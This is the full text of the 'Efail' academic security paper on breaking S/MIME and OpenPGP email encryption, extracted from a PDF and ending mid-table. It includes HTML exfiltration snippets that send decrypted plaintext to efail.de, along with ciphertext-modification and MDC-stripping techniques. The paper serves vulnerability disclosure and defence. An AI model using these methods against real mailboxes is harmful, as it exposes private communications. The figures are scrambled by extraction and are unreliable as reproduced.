Efail: Breaking S/MIME and OpenPGP Email
Encryption using Exfiltration Channels
Damian Poddebniak and Christian Dresen, Münster University of Applied Sciences;Jens Müller, Ruhr University Bochum; Fabian Ising and Sebastian Schinzel, Münster
University of Applied Sciences; Simon Friedberger, NXP Semiconductors, Belgium;
Juraj Somorovsky and Jörg Schwenk, Ruhr University Bochum
https://www.usenix.org/conference/usenixsecurity18/presentation/poddebniak

This paper is included in the Proceedings of the27th USENIX Security Symposium.
August 15–17, 2018 • Baltimore, MD, USA
ISBN 978-1-939133-04-5

Open access to the Proceedings of the27th USENIX Security Symposiumis sponsored by USENIX.

Efail: Breaking S/MIME and OpenPGP Email Encryption
using Exfiltration Channels
Damian Poddebniak1 , Christian Dresen1 , Jens Müller2 , Fabian Ising1 , Sebastian Schinzel1 ,Simon Friedberger3 , Juraj Somorovsky2 , and Jörg Schwenk2
1 Münster University of Applied Sciences
2 Ruhr University Bochum
3 NXP Semiconductors, Belgium

Abstract
OpenPGP and S/MIME are the two prime standards
for providing end-to-end security for emails. We describe novel attacks built upon a technique we call malleability gadgets to reveal the plaintext of encryptedemails. We use CBC/CFB gadgets to inject malicious
plaintext snippets into encrypted emails. These snippets
abuse existing and standard conforming backchannels to
exfiltrate the full plaintext after decryption. We describe
malleability gadgets for emails using HTML, CSS, andX.509 functionality. The attack works for emails even if
they were collected long ago, and it is triggered as soon
as the recipient decrypts a single maliciously crafted
email from the attacker.
We devise working attacks for both OpenPGP and
S/MIME encryption, and show that exfiltration channels
exist for 23 of the 35 tested S/MIME email clients and 10of the 28 tested OpenPGP email clients. While it is advisable to update the OpenPGP and S/MIME standards to
fix these vulnerabilities, some clients had even more severe implementation flaws allowing straightforward exfiltration of the plaintext.

1

Introduction

Despite the emergence of many secure messaging technologies, email is still one of the most common methods
to exchange information and data, reaching 269 billion
messages per day in 2017 [1].
While transport security between mail servers is usefulagainst some attacker scenarios, it does not offer reliablesecurity guarantees regarding confidentiality and authenticity of emails. Reports of pervasive data collection efforts by nation state actors, large-scale breaches of email
servers, revealing millions of email messages [2–5], or
attackers compromising email accounts to search theemails for valuable data [6, 7] underline that transport
security alone is not sufficient. End-to-end encryption

USENIX Association

is designed to protect user data in such scenarios. With
end-to-end encryption, the email infrastructure becomes
merely a transportation service for opaque email data andno compromise – aside from the endpoints of sender or
receiver – should affect the security of an end-to-end encrypted email.
S/MIME and OpenPGP. The two most prominent standards offering end-to-end encryption for email, S/MIME(Secure / Multipurpose Internet Mail Extensions) and
OpenPGP (Pretty Good Privacy), co-exist for more than
two decades now. Although the cryptographic security of them was subject to criticism [8–10], little waspublished about practical attacks. Instead, S/MIME iscommonly used in corporate and government environments.1 It benefits from its ability to integrate into PKIs
and that most widely-used email clients support it bydefault. OpenPGP often requires the installation of additional software and, besides a steady userbase within
the technical community, is recommended for people inhigh-risk environments. In fact, human rights organizations such as Amnesty International [11], EFF [12], orReporters without Borders [13] recommend using PGP.
We show that this trust is not justified, neither in
S/MIME nor in OpenPGP. Based on the complexity ofthese two specifications and usage of obsolete cryptographic primitives, we introduce two novel attacks.
Backchannels and exfiltration channels. One of thebasic building blocks for our attacks are backchannels. A backchannel is any functionality that interacts with the network, for example, a method for
forcing the email client to invoke an external URL.
A simple example uses an HTML image tag <img
src="http://efail.de"> which forces the email
client to download an image from efail.de. Thesebackchannels are widely known for their privacy im1 A comprehensive list of European companies and agencies supporting S/MIME is available at https://gist.github.com/
rmoriz/5945400.

27th USENIX Security Symposium549

plications as they can leak whether and when the user
opened an email and which software and IP he used.
Until now, the fetching of external URLs in email
was only considered to be a privacy threat. In this paper, we abuse backchannels to create plaintext exfiltration channels that allow sending plaintext directly to theattacker. We analyze how an attacker can turn backchannels in email clients to exfiltration channels, and thus obtain victim plaintext messages. We show the existence ofbackchannels for nearly every email client, ranging fromclassical HTML resources to OCSP requests and Certificate Revocation lists.

<img> element, whose URL is not closed with quotes.

Malleability gadget attacks. Our first attack exploits
the construction of obsolete cryptographic primitives,
while the second abuses the way how some email clientshandle different MIME parts. An important observation
for the first attack is that OpenPGP solely uses the Cipher
Feedback Mode (CFB) and S/MIME solely uses the Cipher Block Chaining (CBC) mode of operation. Bothmodes provide malleability of plaintexts. This property
allows an attacker to reorder, remove or insert ciphertext
blocks, or to perform meaningful plaintext modifications
without knowing the encryption key. More concretely,
he can flip specific bits in the plaintext or even create arbitrary plaintext blocks if he knows parts of the plaintext.
We use the malleability of CBC and CFB to construct so called malleability gadgets that allow us to create chosen plaintexts of any length under the assumptionthat the attacker knows one plaintext block. These malleability gadgets are then used to inject malicious plaintext snippets within the actual plaintext. An ideal malleability gadget attack is possible if the attacker knows
one complete plaintext block from the ciphertext, whichis 16 bytes for AES. However, fewer known plaintext
bytes may also be sufficient, depending on the exfiltration channel that the attacker aims for. Guessing small
parts of plaintext is typically feasible since there are hundreds of bytes of static metadata.
With this technique, we were able to defeat the encryption modes used in both S/MIME and PGP. Whileattacking S/MIME is straightforward, for OpenPGP, we
needed to develop more complex exploit techniques
upon malleability gadgets because the data is typicallycompressed before encryption.

• OpenPGP’s plaintext compression significantly
complicates our attack. We describe techniques tocreate arbitrary plaintexts from specific changes in
the compressed plaintext using advanced malleability gadgets.

Direct exfiltration attacks. Our second attack exploits
how different email clients handle emails containing
multiple MIME parts. We discovered several attacks
variations that solely exploit the complex interaction ofHTML together with MIME, S/MIME and OpenPGP inemail clients. These cases are straightforward to exploit
and do not require any changes of the ciphertext. In themost straightforward example of our attacks, the adversary prepares a plaintext email structure that contains an

550

27th USENIX Security Symposium

Contributions. We make the following contributions:• We introduce the concept of malleability gadgets,
which allow an attacker to inject malicious chosen
plaintext snippets into the email ciphertext. We describe and apply malleability gadgets for the CBC
and CFB modes used in email encryption.
• We analyze all major email clients for backchannels
that can be used for the creation of exfiltration channels.

• We describe practical attacks against major email
clients allowing to exfiltrate decrypted emails directly, without ciphertext modifications.
• We discuss medium and long-term countermeasuresfor email clients and the S/MIME and PGP standards.
Responsible disclosure. We disclosed the vulnerabilities to all affected email vendors and to national CERTs
and our findings were confirmed by these bodies.

2

Background

In its simplest form, an email is a text message conforming to the Internet Message Format (IMF) [14]. As
the IMF lacks features that are required in the modern
Internet, such as the transmission of binary data, it isaugmented with Multipurpose Internet Mail Extension(MIME) [15] to support transmission of multimedia messages or – in case of OpenPGP and S/MIME – to allow
end-to-end encryption of emails.

2.1

End-to-end encrypted email

S/MIME and CMS. The Secure/Multipurpose Internet Mail Extension (S/MIME) is an extension to MIME
describing how to send and receive secured MIME
data [16]. S/MIME focuses on the MIME-related parts ofan email and relies on the Cryptographic Message Syntax (CMS) to digitally sign, authenticate, or encrypt arbitrary messages [17]. CMS is a set of binary encoding
rules and methods to create secured messages. As it isderived from PKCS#7, the term “PKCS” is found in various headers of secured emails.

USENIX Association

Pretty Good Privacy. Phil Zimmerman developed thefirst version of Pretty Good Privacy (PGP) in 1991 asa means to enable political activists to communicate securely on BBSs, Usenet groups and the early Internet.
In the late ’90s, the IETF published RFC 2440 describing the OpenPGP format, which has been updated several times. The latest standard is RFC 4880, publishedin 2007, which describes a variety of methods to encryptand sign digital data [18].

Pi-1

Cryptographic basics

In the email context, both S/MIME and PGP use hybrid
encryption, in which the sender generates a random session key s that is used to symmetrically encrypt the message m into a cipher text c. The session key s is encryptedwith at least two public keys using a public key encryption scheme. The first encryption of s happens with the
public key of the sender. Additional encryptions are doneusing all the public keys of the intended receivers. Thus,s will be encrypted under n + 1 different public keys for nrecipients of the email. Throughout this paper, we focus
on the symmetric encryption.
Encryption modes in OpenPGP and S/MIME. For
symmetric encryption of the message m, the standards
specify several block ciphers, the most relevant being
3DES and AES. As encryption modes, S/MIME uses
Cipher Block Chaining (CBC) and OpenPGP uses the
Cipher Feedback Mode (CFB). During decryption, bothmodes produce intermediate values which are XORed(⊕) with an adjacent ciphertext block to produce the final plaintext block. For CBC, the decryption of Ci into
its respective plaintext block is Pi = decs (Ci ) ⊕Ci−1 . For
CFB, it is Pi = encs (Ci ) ⊕Ci+1 .
Malleability in encryption modes. XOR is a malleable operation, which means that flipping a single bitin one of the two operands of XOR results in a bit flip ofthe final plaintext at the same position. Because XORing
with adjacent ciphertext blocks is the final operation in
CBC and CFB, precise plaintext manipulations are possible by changing the ciphertext only.
Authenticated encryption Newer encryption schemes
will detect modification of the ciphertext and do not output the plaintext in this case. Typically, this is archived
by using Message Authentication Codes (MACs) or an
Authenticated Encryption (AE) scheme. However, both
S/MIME and PGP predate these developments and use
no authentication at all (S/MIME) or do not strictly commit to the requirements of an AE, which makes them easier to misuse (PGP).

USENIX Association

Leaky blocks
Pw
Pw-1- Efail GmbH <img src=“https://efail.de/images/efail.png” />

f

a

i

l

.

d

e

/

?

?

?

?

?

?

?

?

O h y o o 4 h u

Figure 1: Replacing the URL in the ciphertext blocks(Cw−1 ,Cw ) with (Ci−1 ,Ci ) to exfiltrate sensitive data.

3
2.2

Pi

Your temporary password: Ohyoo4hu …

Towards exfiltration attacks

Modern email clients are able to assemble and rendervarious types of content, most notably HTML documents, and HTML provides methods to fetch resources
like images and stylesheets from the Internet. Emailclients may additionally request other information, forexample, to validate the status of a cryptographic certificate. We will refer to all these channels as backchannels because they can interact with possibly attackercontrolled servers.
Backchannels in the email context are well-known to
be a privacy issue because they allow detecting if, when
and where a message has been read and may leak further
information such as the user’s mail client and operating
system. But they are more than that.
In the following sections we show that backchannels
can be used to exfiltrate the plaintext of an email after it
has been decrypted. The showed methods are directly applicable to S/MIME. For PGP, further requirements must
be met, which are discussed in Section 5.

3.1

Block reordering attack

CBC and CFB allow not only precise modifications of
the plaintext, but also to reorder ciphertext blocks. With
some limitations, changing the order of the ciphertext
blocks will effectively also reorder the respective plaintext blocks.
Assume an AES-CBC encrypted HTML email containing an HTML image tag at a known ciphertext pair
(Cw−1 ,Cw ). Due to the reordering property, an attacker can replace (Cw−1 ,Cw ) with another ciphertext
pair (Ci−1 ,Ci ). In effect, the respective plaintext Pi will
be reflected in the URL path and the resulting HTTP
request will exfiltrate sensitive data a passive MitM attacker can observe (see Figure 1).

3.2

Malleability gadgets

In the previous example, a MitM attacker could exfiltrate
those emails that already contained an external HTML
image using block reordering. We now relax this constraint and introduce the concept of malleability gadgets

27th USENIX Security Symposium

551

Ci-1 CBC mode Ci(a)decryption

decryption

Pi-1

Pi (known)
Ci

X

Ci

(c)

CFB mode

Ci+1

encryption

encryption

Pi (known)
Ci

Pi-1

4

In this section we show that S/MIME is vulnerable to
CBC gadget attacks, and demonstrate how exfiltration
channels can be injected into S/MIME emails.

X

4.1(b) decryption

decryption(d) encryption? ? ? ? ? ? ? ?

random plaintext

Pc (chosen)

random plaintext

Figure 2: Transforming a known plaintext Pi to a chosen
plaintext Pc in CBC and CFB.
that allow to inject arbitrary plaintexts into encryptedemails given only a single block of known plaintext.
Definition. Let (Ci−1 ,Ci ) be a pair of two ciphertext
blocks and Pi the corresponding plaintext block of an
CBC encrypted ciphertext. We call ((Ci−1 ,Ci ), Pi ) a CBC
gadget if Pi is known to an attacker. Accordingly, we call((Ci ,Ci+1 ), Pi ) of an CFB encrypted ciphertext a CFB
gadget.
Using CBC gadgets. Given a CBC gadget (see Figure 2 (a)), it is possible to transform Pi into any plaintext
Pc by replacing Ci−1 with X = Ci−1 ⊕Pi ⊕Pc (see Figure 2(b)). This comes at a cost as X will be decrypted with an
unknown key, resulting in uncontrollable and unknown
random bytes in Pi−1 .
Using CFB gadgets. CFB gadget work similar to CBC
gadgets with the difference, that the block after the chosen plaintext block becomes a random block (see Figure 2 (c, d)).
Chosen plaintext and random blocks. A single blockof known plaintext is sufficient to inject any amount ofchosen plaintext blocks at any block boundary. However, the concatenation of multiple gadgets produces analternating sequence of chosen plaintext blocks and random blocks. Thus, to create working exfiltration channels, an attacker must deal with these random blocks in a
way that they are ignored. One can think of several ways
to achieve that. When comments are available within acontext, for example via C-style comments /* and */,exfiltration channels can easily be constructed by simply commenting out the random blocks. In case no comments are available, characteristics of the underlying data
format can be used, for example, that unnamed attributes
in HTML are ignored.

552

27th USENIX Security Symposium

S/MIME packet structure

encryption? ? ? ? ? ? ? ?

Pc (chosen)

Attacking S/MIME

Most clients can either sign, encrypt or sign-then-encrypt
messages. Sign-then-encrypt is the preferred wrapping
technique when both confidentiality and authenticity areneeded. The body of a signed-then-encrypted email consists of two MIME entities, one for signing and one forencryption. The outermost entity – also specified in theemail header – is typically EnvelopedData. The EnvelopedData data structure holds the RecipientInfos withmultiple encrypted session keys and the EncryptedContentInfo. EncryptedContentInfo defines which symmetric encryption algorithm was used and finally holds the
ciphertext. Decryption of the ciphertext reveals the inner MIME entity holding the plaintext message and its
signature. Note that there is no integrity protection.

4.2

Attack description

S/MIME uses the CBC encryption mode to encrypt
data, so the CBC gadget from Figure 2 can be used
for S/MIME emails. When decrypted, the ciphertext
of a signed-then-encrypted email typically starts with
Content-type: multipart/signed, which
reveals enough known-plaintext bytes to fully utilize
AES-based CBC gadgets. Therefore, in the case of
S/MIME, an attacker can use the first two cipher blocks(IV,C0 ) and modify the IV to turn P0 into any chosen
plaintext block Pci .
Injection of exfiltration channels. A slightly simplified version of the attack is shown in Figure 3. The first
blocks of a ciphertext whose plaintext we want to exfiltrate are shown in Figure 3 (a). We use (IV,C0 ) to construct our CBC gadgets because we know the complete
associated plaintext P0 . Figure 3 (b) shows the canonicalCBC gadget as it uses X = IV ⊕ P0 to set all its plaintext
bytes to zero.
We then modify and append multiple CBC gadgets
to prepend a chosen ciphertext to the unknown ciphertext blocks (Figure 3 (c)). As a result, we control theplaintext in the first and third block, but the second andfourth block contain random data. The first CBC gadget
block Pc0 opens an HTML image tag and a meaninglessattribute named ignore. This attribute is used to consume
the random data in the second block such that the random
data is not further interpreted. The third block Pc1 thenstarts with the closing quote of the ignored attribute and

USENIX Association

IV

C0

C1

C2

C3

decryption

decryption

decryption

decryption

C0

X =IV ⊕ P0

decryption

(a)

(b)
Content-type: mu

ltipart/signed

P0

P1

unknown plaintext

unknown plaintext

C0

X1 =IV ⊕ P0 ⊕ Pc1

C0

C1

C2

C3

decryption

decryption

unknown plaintext

unknown plaintext

X0 =IV ⊕ P0 ⊕ Pc0

0 0 0 0 0 0 0 0

decryption

decryption

decryption

decryption<img ignore=“? ? ? ? ? ? ? ?

“ src=efail.de/ltipart/signed

Pc0

random plaintext

Pc1

P1

(c)

Figure 3: Detailed description of the attack on S/MIME. The original ciphertext is shown in (a). (b) is the canonicalCBC gadget resulting in an all zero plaintext block. (c) is the modified ciphertext that is sent to the victim.
adds the src attribute that contains the domain name fromwhich the email client is supposed to load the image. The
fourth plaintext block again contains random data, whichis the first part of the path of the image URL. All subsequent blocks contain unknown plaintexts, which now arepart of the URL. Finally, when an email client parses thisemail, the plaintext is sent to the HTTP server defined in
Pc1 .
Meaningless signatures. One could assume that thedecryption of modified ciphertexts would fail becauseof the digital signature included in the signed-thenencrypted email, but this is not the case, because signature in S/MIME can easily be removed from the multipart/signed mail body [19]. This transforms the signedthen-encrypted email into an encrypted message that has
no signature. Of course, a cautious user could detect that
this is not an authentic email, but even then, by the time
the user detects that, the plaintext would already havebeen exfiltrated. Signatures can also not become mandatory, because this would hinder anonymous communication. Furthermore, an invalid signature typically does
not prevent the display/rendering of a message in email
client either. This has historic reasons, as mail gateways
could invalidate signatures by changing line-endings in
the plaintext, etc.

4.3

Practical exploitation

Exfiltration codes must be designed such that they are
ignorant to interleaved random blocks. Although this restriction can be circumvented by careful design of theexfiltration code – recap the usage of the ignore attribute– some exfiltration codes may require additional tricks towork in practice.
For example, HTML’s src attribute, requires the explicit naming of the protocol, e.g. http://. Unfortu-

USENIX Association

nately, src="http:// has already 12 bytes, leaving
merely enough room for a 4 byte domain. A workaroundis to scatter the exfiltration code into multiple HTMLelements without breaking its functionality. In case of
the src attribute, an additional <base ignore="..."
href="http:"> element can be used to globally define the base protocol first.
Emails sent as text/plain pose another difficulty. Although there is nothing special about thoseemails in the context of CBC gadgets, injection ofContent-type: text/html turned out to be difficult due to restrictions in the MIME headers. An attacker has to apply further tricks such that header parsing
will not break when random data is introduced into theheader.

5

Attacking OpenPGP

Our exfiltration attacks are not only possible in S/MIME,
but also work against OpenPGP. However, there are two
additional obstacles: (1) OpenPGP uses compression bydefault and (2) Modification Detection Codes (MDC) areused for integrity protection.
Compression. In the context of malleability gadgets,compression makes exploitation more difficult, because
the compressed plaintext is harder to guess. Similar
to S/MIME, PGP emails also contain known headersand plaintext blocks, for example, Content-Type:multipart/mixed, but after compression is applied,
the resulting plaintext may vastly differ per mail.
The difficulty here is to guess a certain amount ofcompressed plaintext bytes in order to fully utilize the
CFB gadget technique. Not knowing enough compressed
plaintext bytes is hardly a countermeasure, but makes
practical exploitation a lot harder.

27th USENIX Security Symposium553

We show how the compression structure can be exploited to create exfiltration channels. Interestingly, withthe compression in place, we can create exfiltration channels even more precisely and remove the random data
blocks from the resulting plaintext.
Integrity protection. The OpenPGP standard statesthat detected modifications to the ciphertext should be“treated as a security problem”, but does not define what
to do in case of security problems. The correct way ofhandling this would be to drop the message and notify
the user. However, if clients try to display whatever isleft of the message as a “best effort”, exfiltration channels may be triggered.
In order to understand how the integrity protection canbe disabled and how compression can be defeated, we
have to go into more detail of OpenPGP.

5.1

OpenPGP packet structure

In OpenPGP, packets are of the form tag/length/body.
The tag denotes the packet type as listed in Table 1. The
body contains either another nested packet or arbitrary
user data. The size of the body is encoded in the length
field.
Tag no.
8
9
11
18
19
60 – 63

Type of PGP packet
CD: Compressed Data Packet
SE: Symmetrically Encrypted Packet
LD: Literal Data Packet
SEIP: Symmetrically Encrypted and Integrity
Protected Packet
MDC: Modification Detection Code Packet
Experimental packets (ignored by clients)

Table 1: PGP packet types used throughout this paper.

Message encryption. A message is encrypted in four
steps: (1) the message m is encapsulated in a Literal Data
(LD) packet. (2) the LD packet is compressed via deflate
and encapsulated in a Compressed Data (CD) packet. (3)the Modification Detection Code (MDC) over the CD
packet is calculated (SHA-1) and appended to the CD
packet as an MDC packet. (4) finally, the concatenatedCD and MD packets are encrypted and the ciphertext
is encapsulated in an Symmetrically Encrypted and Integrity Protected (SEIP) packet (see Figure 4).

detected due to a mismatch of the SHA-1 hash of themessage and the attached MDC packet.
Generating SE packets. Clients may ignore the standards recommendation and still generate SE ciphertexts.
These messages have no integrity protection and have nomeans of preventing our attacks. Older ciphertexts thatwere generated before the introduction of the MDC willremain vulnerable.
Ignoring the MDC. The MDC is only effective if it
is checked. This can easily be verified by introducingchanges to the ciphertext and leaving the MDC as it is.
If the MDC will not match the modified ciphertext and if
the client continues processing, the client may be vulnerable.
Stripping the MDC. Similar to the previous attempt,
the MDC can also be removed, such that the client can
not check the MDC at all. This is easily possible by removing the last 22 bytes from the ciphertext.
Downgrade SEIP packets to SE packets. A moreelaborate method is to disable the integrity protection bychanging an SEIP packet to an Symmetrically Encrypted(SE) packet, which has no integrity protection. This isstraightforward, because the packet type is not encrypted(see Figure 4). This downgrade attack has been known
since 2002 [20], but never used in an actual attack.
However, there is a caveat: in an SE packet, the lasttwo bytes of the IV are added just after the first block.
This was originally used to perform an integrity quick
check on the session key.
While the SE type resynchronizes the block boundaries after encrypting these two additional bytes, theSEIP does not perform this resynchronization. To repair
the decryption after changing the SEIP to an SE packet,
two bytes must be inserted at the start of the first block
to compensate for the missing bytes. This was also described by Perrin and Magazinius [20, 21].
SEIP (Tag 18) || Length
CD (Tag 8) || Length<encrypted>

LD (Tag 11) || Length<compressed>

Content-type:...

multipart/mixed; boundary="..."MDC (Tag 19) || Length

5.2

Defeating integrity protection

The OpenPGP standard mandates that clients should prefer the SEIP packet type over the SE packet type, because
for SEIP packets, modification of the plaintext will be554

27th USENIX Security Symposium

9fbd5d27474c2670d78f71c32ef5404e37c9cd88

Figure 4: Nesting of a Symmetrically Encrypted and Integrity Protected Data Packet in OpenPGP.

USENIX Association

Since an attack was published against this integrity
protection mechanism [22], its interpretation is discouraged [18], and the two bytes are ignored. They depict the
beginning of the first real plaintext block and the SE andSEIP packet types treat them differently.

change substantially and are difficult to predict for partly
unknown plaintexts. For shorter texts, fixed Huffman
trees are used. They are statically defined in [23] and not
located in the data. In the following sections, we assume
fixed Huffman trees to outline the attack.

5.3

5.3.1

Defeating deflate

OpenPGP utilizes the deflate algorithm [23] to compress
LD packets before encrypting them. It is based on LZ77
(specifically LZSS) and Huffman Coding. Although theexact details are not important for this paper, it is important to note that a single message may be partitioned,such that different modes of compression can be used for
different segments of the message.
Modes of compression. The standard defines threemodes of compression: uncompressed, compressed with
fixed Huffman trees, and compressed with dynamic
Huffman trees. It is specified by a header prepended toeach segment. A single OpenPGP CD packet can containmultiple compressed or uncompressed segments.2
Backreferences. Typically, a full message is wrapped
inside a single compressed segment. Then, the algorithm
applies a search for text fragment repetitions of certain
length within the boundaries of a sliding window. If a
repetition is found, it is replaced with a shorter pointer to
its previous occurrence.
For example, the text How much wood could
a woodchuck chuck is shortened to How muchwood could a <-13, 4>chuck <-6, 5>. In
reality, the deflate algorithm encodes backreferences as
small bit strings to achieve a higher compression level.
The backreference strings are inserted into a Huffman
tree that is placed before the compressed text. During thedecompression process, the algorithm uses the Huffman
tree to restore these patterns.
Uncompressed segments. In addition to compressedsegments, the deflate data format also specifies uncompressed segments. These segments are also used during
the search for repetitions, but, in contrast to compressedsegments, may contain arbitrary data. This is an important observation, because it allows us to work around thelimited amount of known plaintext.
Dynamic and fixed Huffman trees. Starting fromaround 90 to 100 bytes of plaintext, deflate uses a dynamic Huffman tree that is serialized to bytes and forms
the start of the deflate data. Dynamic Huffman trees
2 RFC 1951 speaks of “blocks”. We change the terminology to “seg-ments” for better readability.

USENIX Association

Creating a CFB gadget

The first encrypted block seems most promising, because
it consists of OpenPGP packet metadata and compression headers.
By exploiting backreferences in the compression algorithm we are able to use only 11 bytes long malleability
gadgets. These backreferences allow us to reference andconcatenate arbitrary blocks of data and thus create exfiltration channels more precisely. Therefore, instead oftrying to work around the compression, we use it to precisely inject our exfiltration codes in compressed form.
5.3.2

Exfiltrating compressed plaintexts

Assume we are in possession of an OpenPGP SEIP
packet which decrypts to a compressed plaintext. We
know one decrypted block which allows us to construct amalleability gadget and thus arbitrary number of chosen
plaintexts. Our goal is to construct a ciphertext which decrypts to a compressed packet. Its decompression leads
to an exfiltration of the target plaintext.
A simplified attack is shown in Figure 5 and can be
performed as follows. Using our malleability gadget wefirst create three ciphertext block pairs (Ci ,Ci+1 ) which
decrypt into useful text fragments (Pc0 , Pc1 , Pc2 ). The
first text fragment represents an OpenPGP packet structure which encodes a CD packet (which is encoded as
0xaf in OpenPGP) containing a LD packet (encoded as0xa3). The latter two text fragments contain an exfiltration channel, for example, <img src="efail.de/.
We concatenate the ciphertext blocks into (C1 , . . .C8 ) sothat they decrypt into our three text fragments and the target compressed plaintext block. Note that due to the nature of CFB every second block will contain uncontrollable random data. All blocks are placed into an uncompressed segment. For the compressed segment we use aciphertext which decrypts into a deflate segment containing backreferences. The backreferences (B1 . . . B4) reference fragments from the uncompressed segment. Oncethe victim decrypts and decompresses the email, the final text will result into a concatenation of text fragments
Pc0 , Pc1 , Pc2 , and the compressed segment. Finally, thecompressed data is leaked to efail.de.
Note that the deflate structure gives us one advantage
over attacking uncompressed data as described in our attacks on S/MIME. By using backreferences we can select arbitrary text fragments. This means we can even27th USENIX Security Symposium

555

(b)

(a)
compressed plaintext

af 02 78 9c ... a3 ...

? ? ? ? ? ? ? ?

<img

(e)

<img

src=“efail.de/

exfiltration
fragment Pc1

exfiltration
fragment Pc2? ? ? ? ? ? ? ?

src=“efail.de/random plaintext

random plaintext(d)

af 02 78 9c ... a3 ...

OpenPGP structure
fragment Pc0(c)…

backreferences? ? ? ? ? ? ? ?

random plaintext

B1 B2 B3 B4? ? ? ? ? ? ? ?

Uncompressed segmentwith fragments

B1 B2 B3 B4…

Compressed segmentwith backreferences

Compressed packet
af 02 78 9c ... a3 ...

<img

src=“efail.de/Figure 5: Description of the internals of our attack on OpenPGP. Our goal is to leak the decrypted compressed plaintext(a). We exploit the CFB mode to construct correct OpenPGP structure with exfiltration fragments (b) and a segment
containing backreferences (c). We then order these fragments using CFB (d). The resulting decompression step withbackreferences concatenates these fragments in a way that the compressed plaintext is finally leaked to efail.de(e). All operations are performed on encrypted data.
skip the uncontrollable random data blocks which result
from our CFB ciphertext modifications, and omit potential failures by parsing the uncontrollable random data
blocks in email clients. The email client will not process decrypted data located directly in the uncompressedsegments if they are hidden in OpenPGP experimental
packets.

5.4

Practical exploitation

Although 16 bytes of plaintext must be known to fully
utilize CFB gadgets, it is possible to work with a smaller
amount of known plaintext. In this case, only the known
bytes can be changed freely and the remaining bytes will
result in unknown bytes. In the case of PGP, we wereable to conduct our attacks with incomplete CFB gadgets
where only the first 11 bytes are known.3
We measured the complexity to guess the first 11 bytesof the first compressed plaintext block in two scenarios: (1) with OpenPGP-encrypted password-reset emails
from Facebook and (2) by simulating the standard encryption process with GnuPG with the Enron dataset
containing 500, 000 real world emails.
Our approach was as follows: in case of the Facebook
emails, we build an email generator to generate 100, 000
password reset emails. This emails were generated basedon a comparison of real password reset emails and wereindistinguishable from the real emails. We then used
GnuPG in its default configuration to encrypt all emails.
In the next step, we removed the encryption layer to obtain the compressed plaintext only. We then groupedeach email by its beginning 11 bytes (see Table 2). The
most often observed starting sequence made up 31% of
all facebook emails. The second most frequent starting
bytes made up 8%. This means, that by sending two
3 This is not a hard requirement and other exploitation techniques

may improve on this.

556

27th USENIX Security Symposium

nth most frequent start sequences frequency (%) cumulated (%)
1
2
3
4
5

a302789ced590b9014c519
a302789ced590d9014c515
a302789ced59099014d519
a302789ced590b701bc519
a302789ced590b7414d519···
211 a302789ced59098c14551a

30.95
7.99
7.80
7.47
3.96

30.95
38.94
46.73
54.20
58.17

0.001

100.00

Table 2: Start sequences of 100, 000 synthetic facebook
password reset emails sorted by frequency. 211 different
beginnings were observed in total.
nth most frequent start sequences frequency (%) cumulated (%)
1
2
3

a302789c8d8f4b4ec3400c
a302789ced90c16e133110
a302789c7590b14ec33010···
500 a302789c4d90cb8ed34010···
2635 a302789ced90d16ed33014

6.61
2.21
0.66

6.61
8.82
9.48

0.03

40.99

0.03

100.00

Table 3: Start sequences of approx. 500, 000 emails fromthe enron email data set sorted by frequency. 2635 different beginnings were observed in total with the 500 mostfrequent sequences accounting for approx. 41% of themails.

emails with exactly these starting bytes, we can breakapproximately 39% of all Facebook mails.
The measurements on the Enron dataset had a higher
variance, with approx. 7% of the most often found starting bytes, and 2% of the second most often found starting
bytes. The results are shown in Table 3. This means thatwith two emails approx. 9% of Enron, or “real world”,
emails can be exfiltrated.
Although 500 guesses are very few in a cryptographic
sense, the requirement to open 500 emails makes our

USENIX Association

attacks hardly practical. However, this constraint canbe relaxed, because MIME allows to send multiple
MIME parts per email. Using the multipart/mixed
content-type, multiple guesses can be embedded into asingle email. We measured how many parts are allowed
per email and found that up to 500 parts are realistic in
popular email clients. To conclude: we expect that exfiltration is possible for 40% of all emails by sending onlya single email. If, however, exfiltration does not work on
the first try, an attacker can send additional emails, also
over multiple days to stay stealthy.

6

Attacking MIME parsers

We found that various email clients do not isolate multiple MIME parts of an email but display them in the same
HTML document. This allows an attacker to build trivial
decryption oracles which work for S/MIME, PGP andpresumably for other encryption schemes. We call theattack Direct Exfiltration.
To perform this attack, an attacker simply wraps
the encrypted message into MIME parts containing an
HTML based backchannel and sends the message to thevictim. One possible variant of this attack using the<img> HTML tag is shown in Figure 6 (a). If theemail client first decrypts the encrypted part and thenputs all body parts into one HTML document as shownin Figure 6 (b), the HTML rendering engine leaks thedecrypted message to the attacker-controlled web server
within the URL path of a GET request as shown in Figure 6 (c).
Because the plaintext message is leaked after decryption, this attack is independent of the email encryption
scheme and may be used even against authenticated encryption schemes. Direct exfiltration channels arise fromfaulty isolation between secure and insecure message
parts. Although it seems that these are solely implementation bugs, their mitigation can be challenging. For
example, if the email decryption and email presentation
steps are provided by different instances, the email client
is not aware of the encrypted email message structure.
This scenario is quite common when email security gateways are used.
Out of 48 tested mail clients 17 had missing isolation which would allow leaking secret messages to an
attacker-controlled web server in case a mail gateway
would decrypt and simply replace the encrypted part withthe plaintext. Even worse, in five email clients, the concept shown in Figure 6 can be exploited directly: Apple Mail (macOS), Mail App (iOS), Thunderbird (Windows, macOS, Linux), Postbox (Windows) and MailMate (macOS). The first two clients by default load external images without asking and therefore leak the plaintext of S/MIME or OpenPGP encrypted messages. For

USENIX Association

Figure 6: Malicious email structure and missing context
boundaries force the client to decrypt the ciphertext andleak the plaintext using the <img> element.
other clients our attacks require user interaction. For example, in Thunderbird and Postbox we can completely
redress the UI with CSS and trick the user into submitting
the plaintext with an HTML form if he clicks somewhere
into the message. Note that thanks to the MIME structure the attacker can include several ciphertexts into one
email and exfiltrate their plaintexts at once. For Thunderbird this security issue is present since v0.1 (2003).

7

Exfiltration channels in email clients

Backchannels in email clients are known as privacy risks,
but there is no comprehensive overview yet. We performed an analysis of existing backchannels by systematically testing 48 clients and give the complete resultsin Appendix B. Note that 13 of the tested clients doeither not support encryption at all or we could not get
the OpenPGP or S/MIME modules to work and therefore could not test whether backchannels can be used for
exfiltration. This distinction is important because someemail clients behave differently for encrypted and unencrypted messages. For example, HTML content that canbe used to load external images in unencrypted mails is
usually not interpreted for deprecated PGP/INLINE messages. On the other hand, for three clients we wereable to bypass remote content blocking simply by encrypting the HTML email containing a simple <img
src="..."> tag.

27th USENIX Security Symposium

557

7.1

PGP

WebappWebmailAndroid iOS macOSLinux

WindowsOS∠⊥

ClientOutlook 2007
Outlook 2010
Outlook 2013
Outlook 2016
Win. 10 Mail
Win. Live Mail
The Bat!
PostboxeM Client
IBM Notes
Thunderbird
Evolution
Trojitá
KMail
Claws
Mutt
